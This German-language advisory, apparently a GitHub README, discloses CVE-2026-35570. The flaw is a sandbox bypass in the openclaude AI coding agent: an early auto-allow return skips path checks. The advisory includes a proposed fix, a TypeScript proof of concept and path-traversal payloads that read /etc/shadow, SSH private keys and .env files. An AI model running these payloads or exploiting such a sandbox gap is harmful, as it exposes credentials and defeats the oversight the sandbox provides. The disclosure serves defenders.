rickidevs/cve-2026-35570# Detaillierte Analyse und Proof-of-Concept für CVE-2026-35570, eine Sandbox-Umgehung in openclaude v0.1.7, die Pfad-Traversal ermöglicht, um beliebige Dateien außerhalb der Sandbox zu lesen und zu schreiben.
CVE-2026-35570 | CVSS 8.4 (Hoch) | openclaude v0.1.7
Nicht jede Schwachstelle erfordert eine ausgeklügelte Exploit-Kette. Manchmal reicht eine einzige falsch platzierte return-Anweisung, um ein Loch direkt durch dein Sicherheitsmodell zu reißen. Genau das ist CVE-2026-35570.
Dieser Write-up behandelt einen Sandbox-Bypass, den ich in openclaude v0.1.7 gefunden habe — ein Logikfehler, der es Path-Traversal-Payloads ermöglicht, direkt an der Dateisystem-Isolationsschicht vorbeizukommen, ohne jemals geprüft zu werden.
Ich ging gerade bashPermissions.ts durch, als mir etwas im Kontrollfluss ins Auge fiel. Die Berechtigungslogik sah auf den ersten Blick vernünftig aus — wenn wir in einer Sandbox sind, den Befehl automatisch erlauben; andernfalls den Benutzer auffordern. Sauber genug.
Aber eine Frage ließ mich nicht los: Wo findet die Pfad-Einschränkungsprüfung eigentlich statt?
Ich verfolgte bashToolHasPermission() von oben nach unten und bildete den Ausführungspfad ab:
bashToolHasPermission()
│
├─ [~1445] Sandbox-Auto-Allow-Block
│ └─ Keine Deny-Regel gefunden → return ALLOW ⚠️ Früher Ausstieg
│
└─ [~1644] checkPathConstraints() ❌ Nie erreicht
Der Sandbox-Block wurde gebaut, um interaktive Berechtigungsabfragen in Sandbox-Umgebungen zu überspringen. Völlig vernünftig. Das Problem ist, dass die Funktion, wenn sie ALLOW zurückgibt, genau dort endet. checkPathConstraints() — die Funktion, die tatsächlich für das Abfangen von Path Traversal verantwortlich ist — wird nie ausgeführt.
Innerhalb von bashToolHasPermission() folgt der Sandbox-Auto-Allow-Block dieser Logik:
An diesem Punkt wird checkPathConstraints() vollständig umgangen. Der Path-Traversal-Filter bekommt keine Chance, irgendetwas zu tun.
Aus der Perspektive eines Angreifers bedeutet das, dass Befehle wie diese direkt durchkommen:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
Alle kommen mit behavior: allow zurück. Keine Abfrage. Kein Block. Nichts.
Drei Dinge werden möglich, wenn dieser Fehler vorhanden ist:
Beliebiges Lesen von Dateien. Alles außerhalb der Sandbox-Grenze ist Freiwild — /etc/passwd, /etc/shadow, SSH-Private-Keys, .env-Dateien. Solange die Berechtigungen auf Betriebssystemebene es erlauben, kann die Datei gelesen werden.
Beliebiges Schreiben von Dateien. Dieselbe Logik gilt in umgekehrter Richtung. Ein Angreifer kann in Pfade außerhalb der Sandbox schreiben, was die Tür zum Überschreiben von Konfigurationsdateien oder zum Ablegen von Inhalten an unerwarteten Orten öffnet.
Vollständiger Ausfall der Sandbox-Isolation. Der ganze Sinn der Sandbox ist es, Dateisystemgrenzen durchzusetzen. Mit diesem Fehler bedeutet diese Garantie nichts mehr.
CVSS v3.1: 8.4 (Hoch) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Der Fix ist konzeptionell unkompliziert. Der Sandbox-Auto-Allow-Block sollte interaktive Abfragen unterdrücken — das ist alles. Er sollte niemals die vollständige Berechtigungspipeline kurzschließen.
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// Nur bei deny oder ask früh zurückkehren — Pfadprüfungen bei allow niemals überspringen
return sandboxResult;
}
// Bei allow weiter zu checkPathConstraints unten durchfallen
}
// Die Path-Traversal-Prüfung muss immer ausgeführt werden
return checkPathConstraints(input, appState.toolPermissionContext);
Die Faustregel hier: Sandbox-Auto-Allow überspringt die Abfrage, nicht die Sicherheitsprüfungen.
| Feld | Detail |
|---|---|
| Paket | openclaude |
| Betroffene Version | v0.1.7 |
| Gepatchte Version | Keine |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (Hoch) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
Starte openclaude mit gesetzten Sandbox- und Auto-Allow-Flags:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
Die Variablennamen können leicht abweichen. Prüfe die Klasse
SandboxManager, um die genauen Umgebungsvariablen-Zuordnungen für deinen Build zu bestätigen.
Speichere Folgendes als poc.ts im Projektstammverzeichnis:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// Sandbox-Bedingungen einrichten
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// Payload mit Path Traversal
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Ergebnis:', result.behavior);
// Erwartet: "deny" — Path Traversal sollte blockiert werden
// Tatsächlich: "allow" ← Schwachstelle bestätigt
Dann ausführen:
npx ts-node poc.ts
Du wirst sehen:
Ergebnis: allow
checkPathConstraints() wurde nie aufgerufen. Um das selbst zu bestätigen, füge eine Log-Zeile in bashPermissions.ts ein:
// Ungefähr bei Zeile 1644
function checkPathConstraints(input, context) {
console.log('checkPathConstraints wurde aufgerufen'); // Dies wird nie ausgegeben
// ...
}
Führe das Skript erneut aus. Das Log wird nicht erscheinen — die Funktion wird tatsächlich übersprungen.
Öffne openclaude in einer Sandbox-Sitzung und sende den folgenden Befehl:
cat ../../../../../etc/passwd
Er wird ohne jegliche Berechtigungsabfrage oder Blockierung ausgeführt und gibt den Inhalt von /etc/passwd direkt aus.
CVE-2026-35570